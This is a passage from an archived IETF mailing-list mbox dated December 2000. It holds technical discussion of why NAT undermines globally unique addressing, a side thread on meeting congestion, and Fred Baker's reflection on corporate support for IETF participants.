trying to manage the congestion, I am suggesting that we throw > money at the problem, to overbuy space so that we don't have the problem. So, throwing bandwidth at the problem is quite cost-effective in about 85% of the cases, and congestion control is most useful at aggregation points, say where enterprise networks meet regional networks. It would seem then, that we should solve the meeting room congestion by getting really big rooms, and control access to the halls? ...Scott From owner-ietf-outbound Fri Dec 15 11:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA12171 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 11:20:04 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05609 for ; Fri, 15 Dec 2000 11:03:13 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id LAA07198; Fri, 15 Dec 2000 11:02:39 -0500 (EST) Message-Id: <200012151602.LAA07198@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Gabriel Landowski cc: Dave Crocker , ietf@ietf.org Subject: Re: Congestion control In-reply-to: Your message of "Fri, 15 Dec 2000 06:49:09 PST." <20001215144909.41503.qmail@web10605.mail.yahoo.com> Date: Fri, 15 Dec 2000 11:02:39 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > I think we need to look to the future where > three thousand participants are going to offer up > their ideas and we need to be able to take advantage > of those resources without stuff "getting dropped" > simply because of the meeting space/format. Perhaps. But in a forum with three thousand participants, I doubt that either space or bandwidth are the primary barriers to producing a consensus around sound technical solutions. In other words, even assuming we had the space/bandwidth to accomodate them all, three thousand people is far too many for a single group discussion. We'd need to adopt drastically different methods for running a working group and for making decisions. I also suspect it's much easier for thirty people to come up with a good technical solution, than for three thousand or even three hundred, even if the clue density remains the same for each case. Keith From owner-ietf-outbound Fri Dec 15 12:00:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA26846 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 12:00:04 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA25448 for ; Fri, 15 Dec 2000 11:55:46 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id IAA59456; Fri, 15 Dec 2000 08:51:50 -0800 Received: from hursley.ibm.com (gsine01.us.sine.ibm.com [9.14.6.41]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id IAA22360; Fri, 15 Dec 2000 08:55:18 -0800 Message-ID: <3A3A39E1.C5C5A81D@hursley.ibm.com> Date: Fri, 15 Dec 2000 09:33:53 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: Frank Solensky CC: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <3A396BDA.EF11D381@toplayer.com> <3A396C4D.72A654E6@hursley.ibm.com> <3A397019.FEB6473C@toplayer.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Frank Solensky wrote: > > Brian E Carpenter wrote: > > > > Frank, > > > > This is goodness. Can I ask that you publish the *method* before > > you publish any results? I have seen various attempts to > > tackle this in the past, and they have all given results that > > are very hard to interpret and whose meaning depends very much > > on the method used. I think we could react to the numbers more > > rationally if we discussed the method first. > > Sure thing. > > Would it make sense to spin this off as a separate list? big-internet is probably still there. Brian From owner-ietf-outbound Fri Dec 15 12:10:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA00254 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 12:10:04 -0500 (EST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA25698 for ; Fri, 15 Dec 2000 11:56:29 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24352; Fri, 15 Dec 2000 08:55:32 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACL01643; Fri, 15 Dec 2000 08:55:29 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.87 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14906.19660.543965.709863@localhost.localdomain> Date: Fri, 15 Dec 2000 08:54:36 -0800 To: Keith Moore Cc: Dave Robinson , M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: <200012151556.KAA07104@astro.cs.utk.edu> References: <200012151556.KAA07104@astro.cs.utk.edu> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 15 Dec 2000 at 10:56 -0500, Keith Moore apparently wrote: > > How does the idea of NAT destroy the global Internet address space? > > because in a NATted network the same addresses are used in different > parts of the network. addresses are meaningless. How much meaning does "Keith Moore" have? Somehow we have a planet with billions of people on it and those who need to still manage to find the appropriate "Keith Moore". How do they do that? Are there any lessons to be learned? ...Scott From owner-ietf-outbound Fri Dec 15 12:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA04885 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 12:30:04 -0500 (EST) Received: from e2emsx.endtoend.com ([207.219.115.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01570 for ; Fri, 15 Dec 2000 12:15:01 -0500 (EST) Received: by E2EMSX with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 12:11:39 -0500 Message-ID: From: Dave Robinson To: Keith Moore Cc: M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 12:11:29 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org What's the problem with locally significant addresses? Having thousands of 10 networks will never present a problem unless those networks at some point would like to talk to each other. Is that where this whole discussion is going (or coming from) - that ultimately the more NAT'ing we do, the more headaches we're creating for ourselves en route to true global connectivity? Dave -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 10:56 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 12:40:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA08144 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 12:40:02 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03146 for ; Fri, 15 Dec 2000 12:22:05 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBFHM2CW19350; Fri, 15 Dec 2000 12:22:03 -0500 Message-Id: <200012151722.eBFHM2CW19350@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: Scott Brim Cc: Keith Moore , Dave Robinson , M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of "Fri, 15 Dec 2000 08:54:36 PST." <14906.19660.543965.709863@localhost.localdomain> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <200012151556.KAA07104@astro.cs.utk.edu> <14906.19660.543965.709863@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-867847232P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Fri, 15 Dec 2000 12:22:02 -0500 X-Loop: ietf@ietf.org --==_Exmh_-867847232P Content-Type: text/plain; charset=us-ascii On Fri, 15 Dec 2000 08:54:36 PST, Scott Brim said: > How much meaning does "Keith Moore" have? Somehow we have a planet with > billions of people on it and those who need to still manage to find the > appropriate "Keith Moore". How do they do that? Are there any lessons > to be learned? The lesson to be learned is that we say "The Keith Moore that works at UTK". In fact, there's a word for when two people use the same exact identifier - it's called "identity theft" and usually makes life very difficult for all concerned - for many of the same reasons that 2 hosts with the same IP address don't play nice. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-867847232P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjpTOXAt5Vm009ewEQJj+QCfRWi60WzWDbIlvN4XBjZREx4y6ooAn3f1 sZ/HE/fz/ugyDkjhcFQxGBY5 =XgfL -----END PGP SIGNATURE----- --==_Exmh_-867847232P-- From owner-ietf-outbound Fri Dec 15 12:50:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA11274 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 12:50:04 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04451 for ; Fri, 15 Dec 2000 12:28:08 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA07905; Fri, 15 Dec 2000 12:20:45 -0500 (EST) Message-Id: <200012151720.MAA07905@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Scott Brim" cc: Keith Moore , Dave Robinson , M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 08:54:36 PST." <14906.19660.543965.709863@localhost.localdomain> Date: Fri, 15 Dec 2000 12:20:45 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > > > How does the idea of NAT destroy the global Internet address space? > > > > because in a NATted network the same addresses are used in different > > parts of the network. addresses are meaningless. > > How much meaning does "Keith Moore" have? Somehow we have a planet with > billions of people on it and those who need to still manage to find the > appropriate "Keith Moore". How do they do that? Are there any lessons > to be learned? ambiguous names are of course quite useful and even essential in certain contexts, but they are not suitable for all purposes. for hosts, applications and routers that are communicating over a network it is immensely useful to have reasonably stable and unambiguous names for points of attachment to that network. there are many useful functions that cannot be accomplished in the absence of such names. Keith From owner-ietf-outbound Fri Dec 15 13:00:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA14490 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 13:00:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05216 for ; Fri, 15 Dec 2000 12:30:53 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA07942; Fri, 15 Dec 2000 12:24:29 -0500 (EST) Message-Id: <200012151724.MAA07942@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Dave Robinson cc: Keith Moore , M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 12:11:29 EST." Date: Fri, 15 Dec 2000 12:24:29 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > What's the problem with locally significant addresses? Having thousands of > 10 networks will never present a problem unless those networks at some point > would like to talk to each other. right. if net 10 networks stay completely isolated from one another, then there's no problem. the problem only exists when people want to tie those networks together. but it's inevitable that the vast majority of private networks *will* want to communicate with the public Internet in ways that NAT does not facilitate. > Is that where this whole discussion is > going (or coming from) - that ultimately the more NAT'ing we do, the more > headaches we're creating for ourselves en route to true global connectivity? in a nutshell, yes. Keith From owner-ietf-outbound Fri Dec 15 13:10:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA17642 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 13:10:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07160 for ; Fri, 15 Dec 2000 12:36:58 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA08049; Fri, 15 Dec 2000 12:36:57 -0500 (EST) Message-Id: <200012151736.MAA08049@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Valdis.Kletnieks@vt.edu cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 12:22:02 EST." <200012151722.eBFHM2CW19350@black-ice.cc.vt.edu> Date: Fri, 15 Dec 2000 12:36:57 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org [recipient list trimmed] > The lesson to be learned is that we say "The Keith Moore that works at UTK". even this is not sufficient. I once received a telephoned death threat from someone who had mistaken me with a different Keith Moore from UTK. fortunately I was able to convince him that he had the wrong person, but it wasn't easy. Keith From owner-ietf-outbound Fri Dec 15 13:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA24391 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 13:30:04 -0500 (EST) Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA11100 for ; Fri, 15 Dec 2000 12:49:31 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0G5M00J01ESL9W@firewall.mcit.com> for ietf@ietf.org; Fri, 15 Dec 2000 17:48:22 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G5M00I71ESLKA@firewall.mcit.com>; Fri, 15 Dec 2000 17:48:21 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) id <0G5M00I01ESLFS@pmismtp01.wcomnet.com>; Fri, 15 Dec 2000 17:48:21 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G5M00I01ESGBI@pmismtp01.wcomnet.com>; Fri, 15 Dec 2000 17:48:21 +0000 (GMT) Received: from omzexch006.mcit.com ([166.37.194.37]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G5M00GB8ES814@pmismtp01.wcomnet.com>; Fri, 15 Dec 2000 17:48:09 +0000 (GMT) Received: by omzexch006 with Internet Mail Service (5.5.2651.58) id ; Fri, 15 Dec 2000 17:48:08 +0000 Content-return: allowed Date: Fri, 15 Dec 2000 17:48:05 +0000 From: "Iliff, Tina" Subject: RE: NATs *ARE* evil! To: "'Dave Robinson'" , Keith Moore Cc: M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Message-id: <492EB4A3F68CD411ABE800508B69362E14B43E@RIPEXCH002.wcomnet.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-type: text/plain; charset=iso-8859-1 X-Loop: ietf@ietf.org Yes! TCP breaks due to the fact that "true" source/destination sockets cannot be defined. The destination would not know where to send a response except in the case where DNS is used...unless I need to do more reading Tina Iliff -----Original Message----- From: Dave Robinson [mailto:drobinson@endtoend.com] Sent: Friday, December 15, 2000 11:11 AM To: Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! What's the problem with locally significant addresses? Having thousands of 10 networks will never present a problem unless those networks at some point would like to talk to each other. Is that where this whole discussion is going (or coming from) - that ultimately the more NAT'ing we do, the more headaches we're creating for ourselves en route to true global connectivity? Dave -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 10:56 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 13:40:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA28565 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 13:40:03 -0500 (EST) Received: from psi.pair.com (psi.pair.com [209.68.1.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA11217 for ; Fri, 15 Dec 2000 12:49:55 -0500 (EST) Received: (qmail 15793 invoked by uid 15359); 15 Dec 2000 17:49:55 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 15 Dec 2000 17:49:55 -0000 Date: Fri, 15 Dec 2000 12:49:54 -0500 (EST) From: chris d koeberle X-Sender: kodiak@psi.pair.com To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: <14906.19660.543965.709863@localhost.localdomain> Message-ID: Approved: kodiak@flail.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 15 Dec 2000, Scott Brim wrote: > How much meaning does "Keith Moore" have? Somehow we have a planet with > billions of people on it and those who need to still manage to find the > appropriate "Keith Moore". How do they do that? Are there any lessons > to be learned? They do that by attempting to use additional fields to create a unique global name for Keith Moore, such as "Keith Moore, the painter from Dublin" or "Keith Moore, the taxidermist from Dubai." And just like you can't identify 192.168.0.1 if it changes the address it lives on in the global namespace, you'll have a hard time finding your friend Keith if he moves to Dallas. The lesson we learn from this is that people need significantly longer names, in order to prevent confusion, and make it easier to find long-lost acquaintances. Not to mention which make the jobs of various government agencies and courts significantly easier. -= flail? http://flail.com/ =- -= the online comic strip =- From owner-ietf-outbound Fri Dec 15 13:50:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA01931 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 13:50:02 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA12777 for ; Fri, 15 Dec 2000 12:54:40 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBFHseCW229136; Fri, 15 Dec 2000 12:54:41 -0500 Message-Id: <200012151754.eBFHseCW229136@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: Dave Robinson Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of "Fri, 15 Dec 2000 12:11:29 EST." X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-157145088P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Fri, 15 Dec 2000 12:54:40 -0500 X-Loop: ietf@ietf.org --==_Exmh_-157145088P Content-Type: text/plain; charset=us-ascii On Fri, 15 Dec 2000 12:11:29 EST, Dave Robinson said: > What's the problem with locally significant addresses? Having thousands of Hmm.. this from a guy posting from endtoend.com? I'm not sure if the right word is "ironic" or "sarcastic". In any case, didn't we just release an RFC detailing in excruciating detail? -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-157145088P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjpa33At5Vm009ewEQLYfwCgvM11OtUPMdQM4StmZ4ow57DAgvEAnioV 9ApKYjyVAdF2OHuZYiRtNl6i =Bicq -----END PGP SIGNATURE----- --==_Exmh_-157145088P-- From owner-ietf-outbound Fri Dec 15 14:00:49 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA05303 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 14:00:02 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13527 for ; Fri, 15 Dec 2000 12:57:04 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id JAA21466 for ; Fri, 15 Dec 2000 09:53:05 -0800 Received: from hursley.ibm.com (gsine01.us.sine.ibm.com [9.14.6.41]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id JAA20882 for ; Fri, 15 Dec 2000 09:56:33 -0800 Message-ID: <3A3A5B01.BF3469E4@hursley.ibm.com> Date: Fri, 15 Dec 2000 11:55:13 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Bingo! RFC 2775, RFC 2993 Brian Dave Robinson wrote: > > What's the problem with locally significant addresses? Having thousands of > 10 networks will never present a problem unless those networks at some point > would like to talk to each other. Is that where this whole discussion is > going (or coming from) - that ultimately the more NAT'ing we do, the more > headaches we're creating for ourselves en route to true global connectivity? > > Dave > > -----Original Message----- > From: Keith Moore [mailto:moore@cs.utk.edu] > Sent: Friday, December 15, 2000 10:56 AM > To: Dave Robinson > Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org > Subject: Re: NATs *ARE* evil! > > because in a NATted network the same addresses are used in different > parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 14:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA08550 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 14:10:04 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14394 for ; Fri, 15 Dec 2000 12:59:48 -0500 (EST) Received: from p7020-img-nt.cisco.com (sj-dial-4-37.cisco.com [171.68.181.166]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA03422; Fri, 15 Dec 2000 09:58:55 -0800 (PST) Message-Id: <5.0.2.1.2.20001215090403.03256df0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 15 Dec 2000 09:40:31 -0800 To: John C Klensin From: Fred Baker Subject: Re: What is the IETF? -- A note of caution Cc: ietf@ietf.org In-Reply-To: <1916212408.976873788@localhost> References: <200012150106.TAA11429@gungnir.fnal.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org John: Thanks for your wise comments; I agree wholeheartedly. In fact, I find myself agreeing with most of the people in this thread, who seem to think they are disagreeing with each other. As the person who apparently caused this dust-up, I feel I should add a note. The remainder of this note is addressed to my friends, those who work in the IETF. It is my opinion. Send flames privately. I mention the corporate relationships of the Area Directors for a very simple reason. I think the companies that contribute the time of their employees to this activity are worthy of note. Speaking for myself, my employer has given me carte blanche, with only one proviso: when I travel somewhere on IETF business (which I don't even have to clear with my supervisor), they would like me to advise the local sales office and be available to visit a customer or two. Beyond that, for five years they have essentially underwritten my travel, equipped my office, and given my time and services to the IETF, cold stop. They even put together a special policy for my discussions with the media: Cisco employees, by company policy, do not speak with reporters except in the presence of a PR person, but I am required only to *copy* a PR person on comments I make to the media. Couple that with the opportunity costs - there is a lot of good work I could have been doing for my employer that I didn't do because I worked on the IETF instead, and I have some friends who have gotten angry with me for not doing one thing or another for them - and you can see that in my person Cisco is donating several hundred thousand dollars a year to the Internet. That is proportionally true of every Area Director and every IAB member, and of their companies. I think it is worthy of note. I'll mention one person in this context who takes my breath away. Leslie Daigle is a private consultant. When she has asked, which is not often, I have underwritten her travel from a budget that the ISOC makes available to the IETF Chair. But for the most part, the time she spends on IAB and ICANN activities is her gift to the Internet community, one she makes with scarcely a comment and certainly without regret. I think that is worthy of note. And let's not forget that while we come as individuals and contribute as individuals, our employers pay for that. I have worked for employers that required me to do IETF activities after hours, and considered attendance at meetings as boondoggles to be closely managed, and I have worked for more sensible employers, but in each case, my employer has underwritten the cost. That is not something to lightly brush aside. I want you to think for a moment about other corporate benefits that apply. Yesterday morning, Jun Murai, Steve Coya, myself, and a fair set of supporting characters met to discuss planning for the IETF in Yokohama two years hence. In Japan, the cost of coffee (200-400 yen a cup) and snacks such as we routinely put in the hall is exorbitant. The WIDE Project is putting together a list of corporate sponsors to cover it - and companies are tripping over each other for their chance at the opportunity. I am frequently asked for time for companies to market themselves to this audience in one way or another, and I think you can guess what response they receive. But in Japan, there will be a sign on the table that says "goodies sponsored by the so-and-so corporation." I hope you won't whine about it. If you want to, I'll recommend that the Secretariat put vending machines in the hallways. So, yes, perhaps I used the word "represent" inadvisably, and if so I crave your forgiveness. I certainly agree that we are here to make the Internet run well, not to advance corporate agendas, (although I have to tell you that corporations often have some notion of what it means for the Internet to run well). But to never mention the corporate involvement is, I think, equally unfortunate, and unfair. From owner-ietf-outbound Fri Dec 15 14:20:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11857 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 14:20:02 -0500 (EST) Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15383 for ; Fri, 15 Dec 2000 13:03:01 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42260) id <0G5M00901FEFBK@firewall.mcit.com> for ietf@ietf.org; Fri, 15 Dec 2000 18:01:27 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G5M007KAFEF1A@firewall.mcit.com>; Fri, 15 Dec 2000 18:01:27 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) id <0G5M00301FEFRR@pmismtp01.wcomnet.com>; Fri, 15 Dec 2000 18:01:27 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G5M00301FE9N5@pmismtp01.wcomnet.com>; Fri, 15 Dec 2000 18:01:27 +0000 (GMT) Received: from omzexch006.mcit.com ([166.37.194.37]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G5M002CQFE611@pmismtp01.wcomnet.com>; Fri, 15 Dec 2000 18:01:19 +0000 (GMT) Received: by omzexch006 with Internet Mail Service (5.5.2651.58) id ; Fri, 15 Dec 2000 18:01:18 +0000 Content-return: allowed Date: Fri, 15 Dec 2000 18:01:16 +0000 From: "Iliff, Tina" Subject: RE: NATs *ARE* evil! To: "Iliff, Tina" , "'Dave Robinson'" , "'Keith Moore'" Cc: "'M Dev'" , "'Sean Doran'" , "'ietf@ietf.org'" , "'iab@iab.org'" Message-id: <492EB4A3F68CD411ABE800508B69362E14B440@RIPEXCH002.wcomnet.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-type: text/plain; charset=iso-8859-1 X-Loop: ietf@ietf.org Well, let me correct myself. It is more along the lines of firewall security being broken in the sense of all firewalls would have to be open to entire networks instead of limiting individual hosts. IP would be broken in the sense of routers not being able to distinguish which route to choose in the case of multiple hosts having the same IP address but they are located behind different firewalls, routers, etc in different enterprises. Tina Iliff -----Original Message----- From: Iliff, Tina Sent: Friday, December 15, 2000 11:48 AM To: 'Dave Robinson'; Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! Yes! TCP breaks due to the fact that "true" source/destination sockets cannot be defined. The destination would not know where to send a response except in the case where DNS is used...unless I need to do more reading Tina Iliff -----Original Message----- From: Dave Robinson [mailto:drobinson@endtoend.com] Sent: Friday, December 15, 2000 11:11 AM To: Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! What's the problem with locally significant addresses? Having thousands of 10 networks will never present a problem unless those networks at some point would like to talk to each other. Is that where this whole discussion is going (or coming from) - that ultimately the more NAT'ing we do, the more headaches we're creating for ourselves en route to true global connectivity? Dave -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: 